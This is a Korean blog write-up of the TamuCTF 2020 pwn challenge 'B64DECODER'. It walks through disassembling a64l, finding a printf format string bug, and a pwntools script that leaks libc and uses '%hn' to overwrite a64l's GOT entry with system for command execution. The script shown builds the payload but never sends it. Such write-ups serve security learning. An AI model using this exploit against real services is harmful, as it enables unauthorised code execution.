TamuCTF2020] PWN - B64DECODER

노션으로 옮김·2020년 3월 28일
0

wargame

목록 보기
28/59
post-thumbnail

문제

We put together a demo for our high performance computing server. Why don't you check it out?

nc challenges.tamuctf.com 2783

nc로 접속해보자.

root@goorm:/work/myspace/TAMUCTF/pwn/TROLL# nc challenges.tamuctf.com 2783
Base64 is an encoding that represents binary data in ASCII string format.
Each number from 0 to 63 is mapped to an ASCII character.  For example, 'z' is 63
Base64 Decoder: Powered by a64l (0xf7d99290)
Enter your name!
z
Welcome, z
z
Please enter input to be decoded:
63
b
Please enter input to be decoded:
39

이름을 입력받은 뒤, 아스키 문자를 입력받는다.
입력된 아스키 문자를 값에 따라 숫자로 변환해준다.


풀이

의문

BASE64 디코더라고 해서, BASE64 테이블에 나와있는대로 아스키와 숫자간의 변환을 해주는 프로그램인줄 알았다.

하지만, 결과값은 달랐다.

wiki에 나온 테이블을 보면 'z'는 51에 해당하지만, 이 프로그램은 63을 출력해준다.

이유를 몰랐다.
이 기능을 수행하는 a64lman page를 확인해봤다.

These functions provide a conversion between 32-bit long integers and
little-endian base-64 ASCII strings (of length zero to six). If the
string used as argument for a64l() has length greater than six, only
the first six bytes are used.

단순히 long integerbase64 ascii 간의 변환이라고만 나와있다.

급기야 a64l의 native assembly code를 분석하려고 했다.

착각

단순히 느낌으로 a64l과 이 함수가 수행하는 디코딩의 과정이 취약점을 찾는 핵심이라고 생각했다.

이전에 pwnable.kr를 풀 때, 특정 암호화나 해쉬를 하는 과정에서 오버플로우가 발생하는 유형의 문제를 풀어봤기 때문에, 비슷한 유형의 문제인줄 알았다.

그래서 디코딩을 담당하는 a64l의 기능을 파악하고자 어셈블리 코드를 확인했다.

gdb-peda$ pd a64l
Dump of assembler code for function a64l:
   0xf757d510 <+0>:     push   esi
   0xf757d511 <+1>:     xor    ecx,ecx
   0xf757d513 <+3>:     push   ebx
   0xf757d514 <+4>:     mov    edx,DWORD PTR [esp+0xc]
   0xf757d518 <+8>:     xor    eax,eax
   0xf757d51a <+10>:    call   0xf766302b
   0xf757d51f <+15>:    add    ebx,0x169ae1
   0xf757d525 <+21>:    movsx  esi,BYTE PTR [edx]
   0xf757d528 <+24>:    sub    esi,0x2e
   0xf757d52b <+27>:    cmp    esi,0x4c
   0xf757d52e <+30>:    ja     0xf757d54c <a64l+60>
   0xf757d530 <+32>:    movsx  esi,BYTE PTR [ebx+esi*1-0x53ae0]
   0xf757d538 <+40>:    cmp    esi,0x40
   0xf757d53b <+43>:    je     0xf757d54c <a64l+60>
   0xf757d53d <+45>:    shl    esi,cl
   0xf757d53f <+47>:    add    ecx,0x6
   0xf757d542 <+50>:    add    edx,0x1
   0xf757d545 <+53>:    or     eax,esi
   0xf757d547 <+55>:    cmp    ecx,0x24
   0xf757d54a <+58>:    jne    0xf757d525 <a64l+21>
=> 0xf757d54c <+60>:    pop    ebx
   0xf757d54d <+61>:    pop    esi
   0xf757d54e <+62>:    ret
End of assembler dump.
gdb-peda$

간단히 설명하면 DWORD PTR [esp+0xc]가 입력한 문자열이고, 1바이트씩 가져와서

sub    esi,0x2e

특정 오프셋만큼 빼준 후,

cmp    esi,0x4c
ja     0xf757d54c <a64l+60>

값을 비교하여 0x4c보다 크면, 루프를 빠져나오게 된다.
(정확한 값의 의미는 모르겠지만, 0x2e를 뺐을 때 0x4c 이하인 값이
base64에 해당하는 문자열 범위인 것 같다.)

그리고 문자가 여러 바이트일 때,

shl    esi,cl
add    ecx,0x6

다음 문자를 연산할 때마다 6bit씩 shift 해준다.

or     eax,esi

그리고 각각의 결과값을 eax와 or 연산을 수행하여 eax에 통합해서 저장한다.

하지만, 이 코드는 아무런 의미가 없었다.

이 문제는 포맷스트링버그 취약점이 존재하는 프로그램이었기 때문이다.

취약점 확인

기드라로 디컴파일해보면

입력한 이름이 그대로 printf의 첫 번째 인자로 전달되는 것을 확인할 수 있다.

포맷스트링 버그가 발생하는 것이다.

과정은 멀었지만, 취약점은 간단해서 시나리오 역시 쉽게 구성할 수 있겠다.

페이로드 구성

페이로드 구성을 위해 필요한 값을 나열해보자.

1. 취약점 발생을 위한 포맷스트링
2. 덮어쓸 대상인 a64l의 got 주소
3. 덮어쓸 값인 system의 실제 주소값

포맷스트링은 일반적인 경우처럼 출력('%x') 후 overwrite('%n')이지만 주의할 점이 있다.

문자열 길이 제한으로 한 번의 덮어쓰기만 가능하기 때문에, system의 전체 주소값을 쓰는 것이 아니라, '%hn'을 이용하여 a64l의 뒤에 2바이트만 system 주소의 오프셋으로 변경시켜야 한다는 점이다.

주소값은 문제의 친절함 덕에 쉽게 구할 수 있다.

이 문제는 친절히 a64l의 주소값을 알려주고 있으며, 프로그램에 사용된 라이브러리를 제공해주므로 덮어쓸 값 system의 메모리상 실제 주소도 쉽게 계산할 수 있다.

문제에서 제공해주는 a64l의 값으로 base address를 구한 뒤, 라이브러리에서 system의 오프셋 값을 구해 이를 더하면 메모리에 로드된 system의 실제 주소값이 된다.

검증

이를 기반으로 파이썬 스크립트를 작성해보자.

from pwn import *
import re

libc = ELF('libc.so.6')
elf = ELF('b64decoder')
addr_rva_a64l = libc.symbols['a64l']
addr_rva_system = libc.symbols['system']
addr_got_a64l = elf.got['a64l']

p = remote('challenges.tamuctf.com', 2783)
#p = process('b64decoder')


recv = p.recvuntil('name!  ')

print recv


pt = re.compile('[a-f0-9]{7,8}') #get a64l address
res = pt.findall(recv)

addr_libc_a64l = int(res[0],16)
addr_base = addr_libc_a64l - addr_rva_a64l
addr_got_system = addr_base + addr_rva_system


#overwrite low 2 bytes
fir = addr_got_system & 0xffff


print 'low bytes of system: ' + hex(fir)
print 'got of a64l: ' + hex(addr_got_a64l)

payload = '%{0}x%AA$hn'.format(fir)
payload += 'a'*(4-len(payload)%4)
payload += p32(addr_got_a64l)
payload = payload.replace('AA', str(70+len(payload)/4))
print 'payload: ' + payload
print 'payload: ' + payload[-4:].encode('hex')
print 'len: ' + str(len(payload))

p.interactive()

위 스크립트를 실행하면 내가 입력하는 값이 system 함수의 인자값으로서 실행되어 플래그값을 획득할 수 있게 된다.

0개의 댓글